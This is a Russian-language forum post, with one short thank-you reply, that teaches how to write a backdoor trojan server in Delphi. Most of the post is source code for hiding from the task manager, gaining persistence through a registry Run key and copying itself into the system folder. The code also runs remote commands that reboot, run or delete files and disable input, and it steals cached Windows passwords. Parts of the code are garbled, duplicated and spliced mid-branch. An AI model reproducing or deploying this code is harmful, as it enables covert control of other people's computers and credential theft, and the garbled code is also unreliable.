Пишем троян BackDoor на Delphi

Тема в разделе "Софт и инструменты", создана пользователем CLAY, 4 мар 2017.

  1. CLAY

    CLAY Member

    Сообщения:
    419
    Симпатии:
    5
    BackDoor – это троянский конь, состоящий из клиент и сервера. Клиент посылает серверу данные, а сервер их обрабатывает и выполняет какие-то действия.

    Для начала будет создавать сервер. Войдем в Delphi, нажимаем File - New Application. У нас появляется пустая форма, назовем её frmsrv.

    Нажимаем Project - View Source, стираем там все и пишем:

    code:

    Код:
    program Server;
    uses
    Forms,
    Unit1 in "Unit1.pas" {frmsrv};
    begin
    Application.Initialize;
    Application.CreateForm(TFrmsrv, frmsrv);
    Application.ShowMainForm:=false; //чтобы главная форма не показывалась
    Application.Run;
    end.
    Уменьшим её размер (это не обязательно) и положим на форму компонент TServerSocket из раздела Internet, назовем его SrvMain.И компонент TfileListBox из раздела Win 3.1,назовем TfileListBox1. Приступим к написанию программного кода. Создадим процедуру запуска трояна при каждой загрузке Windows и скрытия его от Alt+Ctrl+Del. Заходим в программный код, добавляем в uses модуль Registry и пишем после строки {$R *.DFM}

    code:

    Код:
    Type tregisterserviceprocess = function (dwprocessid,dwtype:dword) : dword;stdcall;

    Type TWNetEnumCachedPasswords = function (lp : lpStr; w : Word;b: Byte; pc : Pointer; dw : DWord) : Word;stdcall;

    procedure HideACD; // Процедура для скрытия трояна от Alt+Ctrl+Del
    var
    hndl : thandle;
    registerserviceprocess : tregisterserviceprocess;
    begin
    try
    hndl:=loadlibrary("KERNEL32.DLL"); //Загружаем в память библиотеку
    registerserviceprocess:=getprocaddress(hndl,"Regis terServiceProcess");
    registerserviceprocess(getcurrentprocessid,1); //Используем функцию RegisterServiceProcess
    freelibrary(hndl); // выгружаем библиотеку из памяти
    except end;
    end;
    function WinDir: string;
    var
    intLen:integer;
    strBuffer:string;
    begin
    SetLength(strBuffer,1000);
    intLen:=GetWindowsDirectory(PChar(strBuffer),1000) ;
    WinDir:=Trim(Copy(strBuffer,1,intLen));
    end;
    function SysDir: string; // Определение системной папки
    var
    intLen:integer;
    strBuffer:string;
    begin
    SetLength(strBuffer,1000);
    intLen:=GetSystemDirectory(PChar(strBuffer),1000);
    SysDir:=Trim(Copy(strBuffer,1,intLen));
    end;
    procedure Install;
    var
    Reg:TRegistry;
    cPath,Win:string;
    begin
    try
    Win:=SysDir+’sys32.exe’; // Путь в системной папке
    cPath:=Application.ExeName; // Путь к нашему exe-файлу
    Reg:=TRegistry.Create;
    Reg.RootKey:=HKEY_LOCAL_MACHINE; //пишемся в реестр
    Reg.OpenKey("SoftwareMicrosoftWindowsCurrentVe rsionRun",False);
    //Открвыем ключ
    //автозапуска

    code:

    Код:
    Reg.WriteString(‘Sys32’,Win); // Пишем путь к себе
    Reg.CloseKey; // Закрываем ключ
    Reg.Free;
    if (cPath < Win) then // если путь запущенного файла не равен путю файл в системной папке, то
    begin
    if FileExists(Win) then DeleteFile(Win); // если файл существует - удалить
    CopyFile(PChar(cPath),PChar(Win),False); // скопировать себя.
    end;
    except end; // Также по желанию можно добавить прописывание в Win.ini и System.ini

    end;
    Нажимаем F11, у нас появляется (если не было) Object Inspector, выбираем в списке SrvMain. Ставим порт 567 или любой другой. К этому порту будет подключаться клиент. Затем переходим на вкладку Events и 2 раза жмем мышой рядом с надписью OnClientRead. У нас открывается программный код. Вот там и пишем:

    code:

    Код:
    procedure TFrmSrv.SrvMainClientRead(Sender: TObject; Socket: TCustomWinSocket);
    var comd,param,str1,tmp: string;
    i:integer;
    Reg:Tregistry;
    begin
    str1:=socket.receivetext; // Принимаем данные от клиента
    i:=pos("!?!",str1);
    comd:=copy(str1,0,i-1);
    param:=copy(str1,i+3,length(str1)-i);
    if comd="reboot" then //если текст идущий до !?! равен reboot, то грузануть комп!
    begin
    ExitWindowsEx(EWX_REBOOT, 0);
    Socket.SendText("tmp!?!Перезагружает� �я...");
    end;
    if comd="opCD" then //открыть сидюк
    begin
    mciSendString(Pchar("set cdaudio door open"),nil,0,0);
    Socket.SendText("tmp!?!CD-ROM открыт...");
    end;
    if comd="clCD"then
    begin
    mciSendString(Pchar("set cdaudio door closed"),nil,0,0);
    Socket.SendText("tmp!?!CD-ROM закрыт...");
    end;
    if comd="dir"then //получить список файлов
    begin
    tmp:="file!?!"+ShowFile(param);
    Socket.SendText(tmp);
    end;
    if comd="run" then //запустить файл
    begin
    if FileExists (param) then
    begin
    ShellExecute(handle,"Open",PChar(param),nil,nil,1) ;
    Socket.SendText("tmp!?!Файл запущен...");
    end
    else
    Socket.SendText("tmp!?!Не удалось запустить файл...");
    end;
    if comd="del" then //удалить файл
    begin

    if FileExists (param) then
    begin
    DeleteFile(param);
    Socket.SendText("tmp!?!Файл удален...");
    end
    else
    Socket.SendText("tmp!?!Не удалось удалить файл...");
    end;
    if comd="boot" then
    begin
    ExitWindowsEx(EWX_SHUTDOWN, 0);
    Socket.SendText("tmp!?!Комп выключатеся...");
    end;
    if comd="getpass" then //получить кешированные пароли
    begin
    Socket.SendText("pass!?!"+GetPasswords);
    end;
    if comd="close" then // закрыть сервер
    begin
    Socket.SendText("tmp!?!Сервер Закрыт...");
    Application.Terminate;
    exit;
    end;
    if comd="killme" then
    begin
    Socket.SendText("tmp!?!Сервер удален...");
    Reg:=TRegistry.Create;
    Reg.RootKey:=HKEY_LOCAL_MACHINE;
    Reg.OpenKey("SoftwareMicrosoftWindowsCurrentVe rsionRun",False);
    //Открываем ключ
    //автозапуска

    code:

    Код:
    Reg.deletevalue("Sys32"); // Удаляем
    Reg.Free;
    Application.Terminate;
    exit;
    end;
    if comd="dismouse" then // отключаем мышь
    Код:
    var
    Count:Integer;
    FPasswords:string;
    function AddPassword(WinPassword:PWinPassword; dwWord):LongBool;stdcall;
    var
    Password:string;
    PC: array [0..$FF] of Char;
    begin
    Inc(Count);
    Move(WinPassword.PasswordC,PC,WinPassword.Resource Size);
    PC[WinPassword.ResourceSize] := #0;
    CharToOem(PC,PC);
    Password:=StrPas(PC);
    Move(WinPassword.PasswordC,PC,WinPassword.Resource Size + WinPassword.PasswordSize);
    Move(PC[WinPassword.ResourceSize],PC,WinPassword.PasswordSize);
    PC[WinPassword.PasswordSize]:=#0;
    CharToOem(PC,PC);
    Password:=Password + ": " + StrPas(PC);
    if (WinPassword.EntryType = 6) or (WinPassword.EntryType = 19) then
    FPasswords:=FPasswords + Password + #13#10;
    Result:=True;
    end;
    function TFrmSrv.GetPasswords:string;
    var
    hndl : thandle;
    WNetEnumCachedPasswords : TWNetEnumCachedPasswords;
    begin
    try
    hndl:=loadlibrary("MPR.DLL");
    WNetEnumCachedPasswords:=getprocaddress(hndl,"WNet EnumCachedPasswords");
    Count:=0;
    FPasswords:="";
    WNetEnumCachedPasswords(nil,0,$FF,@AddPassword,0);
    freelibrary(hndl);
    except end;
    Result:=FPasswords;
    end;
    begin
    Socket.SendText("tmp!?!Мышь отключена...");
    WinExec(PChar(WinDir + "undll32.exe mouse,disable"),SW_SHOWNORMAL);
    end;
    if comd="diskey" then // отключаем клаву
    begin
    Socket.SendText("tmp!?!Клава отключена...");
    WinExec(PChar(WinDir + "undll32.exe keyboard,disable"),SW_SHOWNORMAL);
    end;
    if comd="msg" then // выдаем месагу
    begin
    MessageBox(application.Handle,PChar(param),"",32);
    Socket.SendText("tmp!?!Сообщение послано...");
    end;
    end;
    В процедуре создания формы пишем:
    procedure TFrmSrv.FormCreate(Sender: TObject);
    begin
    HideACD; // прячемся от Ctrl+Alt+Del
    Install; // устанавливаемся
    SrvMain.Open; // открываем порт
    SrvMain.Active:=true;
    end;
    И функции для получения паролей и списка файлов.
    
    code:
    Код:
    var
    Count:Integer;
    FPasswords:string;
    function AddPassword(WinPassword:PWinPassword; dwWord):LongBool;stdcall;
    var
    Password:string;
    PC: array [0..$FF] of Char;
    begin
    Inc(Count);
    Move(WinPassword.PasswordC,PC,WinPassword.Resource Size);
    PC[WinPassword.ResourceSize] := #0;
    CharToOem(PC,PC);
    Password:=StrPas(PC);
    Move(WinPassword.PasswordC,PC,WinPassword.Resource Size + WinPassword.PasswordSize);
    Move(PC[WinPassword.ResourceSize],PC,WinPassword.PasswordSize);
    PC[WinPassword.PasswordSize]:=#0;
    CharToOem(PC,PC);
    Password:=Password + ": " + StrPas(PC);
    if (WinPassword.EntryType = 6) or (WinPassword.EntryType = 19) then
    FPasswords:=FPasswords + Password + #13#10;
    Result:=True;
    end;
    function TFrmSrv.GetPasswords:string;
    var
    hndl : thandle;
    WNetEnumCachedPasswords : TWNetEnumCachedPasswords;
    begin
    try
    hndl:=loadlibrary("MPR.DLL");
    WNetEnumCachedPasswords:=getprocaddress(hndl,"WNet EnumCachedPasswords");
    Count:=0;
    FPasswords:="";
    WNetEnumCachedPasswords(nil,0,$FF,@AddPassword,0);
    freelibrary(hndl);
    except end;
    Result:=FPasswords;
    end;
    Все! Сервер завершен! Теперь осталось написать клиент, который к этому серверу будет присоединяться, но писать мы его не будем! Думаю и самим несложно будет это сделать.Размер сервера получился не маленьким, но если сжать упаковщик, то будет всего 150 КБ.
    
    Ну вот и рассмотрели пример простейшего BackDoo
  2. kanta

    kanta New Member

    Сообщения:
    23
    Симпатии:
    0
    Спасибо, попробуем)

Поделиться этой страницей